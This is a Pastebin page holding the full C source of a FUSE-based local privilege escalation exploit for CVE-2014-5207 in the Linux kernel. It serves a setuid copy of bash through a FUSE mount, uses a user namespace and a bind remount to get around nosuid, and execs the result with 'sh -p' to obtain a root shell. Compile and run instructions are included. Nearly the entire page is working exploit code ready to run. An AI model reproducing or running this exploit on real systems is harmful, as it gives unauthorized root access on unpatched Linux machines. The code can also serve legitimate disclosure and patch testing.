Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- FUSE-based exploit for CVE-2014-5207
- Copyright (c) 2014 Andy Lutomirski
- Based on code that is:
- Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>
- This program can be distributed under the terms of the GNU GPL.
- See the file COPYING.
- gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
- mkdir test
- ./fuse_suid test
- This isn't a work of art: it doesn't clean up after itself very well.
- */
- #define _GNU_SOURCE
- #define FUSE_USE_VERSION 26
- #include <fuse.h>
- #include <stdio.h>
- #include <string.h>
- #include <errno.h>
- #include <fcntl.h>
- #include <err.h>
- #include <sched.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <sys/mount.h>
- #include <unistd.h>
- static const char *sh_path = "/sh";
- static int sh_fd;
- static loff_t sh_size;
- static int hello_getattr(const char *path, struct stat *stbuf)
- {
- int res = 0;
- memset(stbuf, 0, sizeof(struct stat));
- if (strcmp(path, "/") == 0) {
- stbuf->st_mode = S_IFDIR | 0755;
- stbuf->st_nlink = 2;
- } else if (strcmp(path, sh_path) == 0) {
- stbuf->st_mode = S_IFREG | 04755;
- stbuf->st_nlink = 1;
- stbuf->st_size = sh_size;
- } else
- res = -ENOENT;
- return res;
- }
- static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
- off_t offset, struct fuse_file_info *fi)
- {
- (void) offset;
- (void) fi;
- if (strcmp(path, "/") != 0)
- return -ENOENT;
- filler(buf, ".", NULL, 0);
- filler(buf, "..", NULL, 0);
- filler(buf, sh_path + 1, NULL, 0);
- return 0;
- }
- static int hello_open(const char *path, struct fuse_file_info *fi)
- {
- if (strcmp(path, sh_path) != 0)
- return -ENOENT;
- if ((fi->flags & 3) != O_RDONLY)
- return -EACCES;
- return 0;
- }
- static int hello_read(const char *path, char *buf, size_t size, off_t offset,
- struct fuse_file_info *fi)
- {
- (void) fi;
- if (strcmp(path, sh_path) != 0)
- return -ENOENT;
- return pread(sh_fd, buf, size, offset);
- }
- static struct fuse_operations hello_oper = {
- .getattr = hello_getattr,
- .readdir = hello_readdir,
- .open = hello_open,
- .read = hello_read,
- };
- static int evilfd = -1;
- static int child2(void *mnt_void)
- {
- const char *mountpoint = mnt_void;
- int fd2;
- if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
- err(1, "unshare");
- if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0)
- err(1, "mount");
- fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY);
- if (fd2 == -1)
- err(1, "open");
- if (dup3(fd2, evilfd, O_CLOEXEC) == -1)
- err(1, "dup3");
- close(fd2);
- printf("Mount hackery seems to have worked.\n");
- exit(0);
- }
- static int child1(const char *mountpoint)
- {
- char child2stack[2048];
- char evil_path[1024];
- evilfd = dup(0);
- if (evilfd == -1)
- err(1, "dup");
- if (clone(child2, child2stack,
- CLONE_FILES | CLONE_VFORK,
- (void *)mountpoint) == -1)
- err(1, "clone");
- printf("Here goes...\n");
- sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd);
- execl(evil_path, "sh", "-p", NULL);
- perror(evil_path);
- return 1;
- }
- static int fuse_main_suid(int argc, char *argv[],
- const struct fuse_operations *op,
- void *user_data)
- {
- struct fuse *fuse;
- char *mountpoint;
- int multithreaded;
- int res;
- if (argc != 2) {
- printf("Usage: fuse_suid <mountpoint>\n");
- return -EINVAL;
- }
- char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL};
- fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args,
- op, sizeof(*op), &mountpoint,
- &multithreaded, user_data);
- if (fuse == NULL)
- return 1;
- printf("FUSE initialized. Time to have some fun...\n");
- printf("Warning: this exploit hangs on exit. Hit Ctrl-C when done.\n");
- if (fork() == 0)
- _exit(child1(mountpoint));
- if (multithreaded)
- res = fuse_loop_mt(fuse);
- else
- res = fuse_loop(fuse);
- fuse_teardown(fuse, mountpoint);
- if (res == -1)
- return 1;
- return 0;
- }
- int main(int argc, char *argv[])
- {
- sh_fd = open("/bin/bash", O_RDONLY);
- if (sh_fd == -1)
- err(1, "sh");
- sh_size = lseek(sh_fd, 0, SEEK_END);
- return fuse_main_suid(argc, argv, &hello_oper, NULL);
- }
Add Comment
Please, Sign In to add comment